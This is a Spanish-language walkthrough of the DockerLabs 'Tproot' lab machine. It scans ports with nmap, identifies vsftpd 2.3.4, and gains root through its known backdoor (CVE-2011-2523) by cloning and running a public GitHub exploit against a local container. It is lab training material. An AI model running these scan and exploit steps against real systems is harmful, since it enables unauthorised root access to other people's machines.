> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/tproot.md).

# Tproot

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Tproot** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Para extraer el contenido del archivo comprimido, utilizamos la herramienta `7z`:

```bash
7z x tproot.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FjICFds3efscKOtPBghrj%2FPasted%20image%2020250630105126.png?alt=media&amp;token=f7e9e407-78d7-4923-881c-81a2ec99fa8c" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Para desplegar la máquina en Docker, ejecutamos el script proporcionado:

```bash
bash auto_deploy.sh tproot.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FKkixns5CWhQJwZD1EVcA%2FPasted%20image%2020250630105217.png?alt=media&amp;token=ea1c2bf3-c91a-4566-ba9a-2dc3d0205f58" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Primero, confirmamos que tenemos conectividad con la máquina:

```bash
ping -c 1 172.17.0.2
```

El valor `TTL=64` indica que el sistema operativo es **Linux**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FMgIYG1uy7hsAwtXn3YHl%2FPasted%20image%2020250630105315.png?alt=media&amp;token=9015b856-0523-405b-9f96-3a9badbb7b4b" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido de puertos abiertos con `nmap`:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 21:** FTP.
* **Puerto 80:** HTTP.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FxkSk0r2X6Dp4dalHoyu4%2FPasted%20image%2020250630105331.png?alt=media&amp;token=d3568687-90c2-465b-a0b6-f75cb31f0f4d" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Para obtener más información de los puertos abiertos, realizamos un escaneo más detallado:

```bash
nmap -p21,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 21:** vsftpd 2.3.4.
* **Puerto 80:** Apache httpd 2.4.58.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fm1zg1PZCAofpWFaKSdmq%2FPasted%20image%2020250630105350.png?alt=media&amp;token=60b84f7b-0a3a-4f4e-83e7-eaa5cdff4a00" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Al acceder al servicio web mediante un navegador (`http://172.17.0.2`), encontramos la página por defecto de Apache.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FUu2sxf2QenlI9FpPFUfc%2FPasted%20image%2020250630105404.png?alt=media&amp;token=477d6277-b85c-41b9-a045-ef18b514ad17" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Investigación**

Al identificar la versión de **vsftpd (2.3.4)**, investigamos y encontramos que tiene un backdoor documentado **(CVE-2011-2523)** que permite el acceso como usuario `root` sin autenticación.

Para explotar la vulnerabilidad identificada y obtener acceso al sistema, investigamos y localizamos un exploit público en el siguiente repositorio de GitHub: [vsftpd\_2.3.4\_Exploit](https://github.com/Hellsender01/vsftpd_2.3.4_Exploit).

#### **3.2. Preparación del exploit**

Clonamos el repositorio en nuestro equipo local utilizando el siguiente comando:

```bash
git clone https://github.com/Hellsender01/vsftpd_2.3.4_Exploit.git
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FyOWhVtLsUcXv9LIMXhAh%2FPasted%20image%2020250630105522.png?alt=media&amp;token=4a7290ff-3d53-450b-bca3-be4266bc120b" alt=""><figcaption></figcaption></figure>

Una vez clonado el repositorio, accedemos al directorio recién creado y asignamos permisos de ejecución al script con los siguientes comandos:

```bash
cd vsftpd_2.3.4_Exploit/
```

```bash
chmod +x exploit.py
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGsjoQWX1C1cz3R5eeGDv%2FPasted%20image%2020250630105541.png?alt=media&amp;token=9e2b5913-f23a-41f7-8418-7ca0f2b72743" alt=""><figcaption></figcaption></figure>

#### **3.3. Ejecución del exploit**

Lanzamos el exploit contra nuestro objetivo:

```bash
python3 exploit.py 172.17.0.2
```

**Resultado:** Obtenemos acceso como el usuario `root` de inmediato al sistema.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fd1AtM1C29DiUakHkpv0S%2FPasted%20image%2020250630105637.png?alt=media&amp;token=bf2be01b-45a8-4773-a5b7-00f9be4e9ddb" alt=""><figcaption></figcaption></figure>
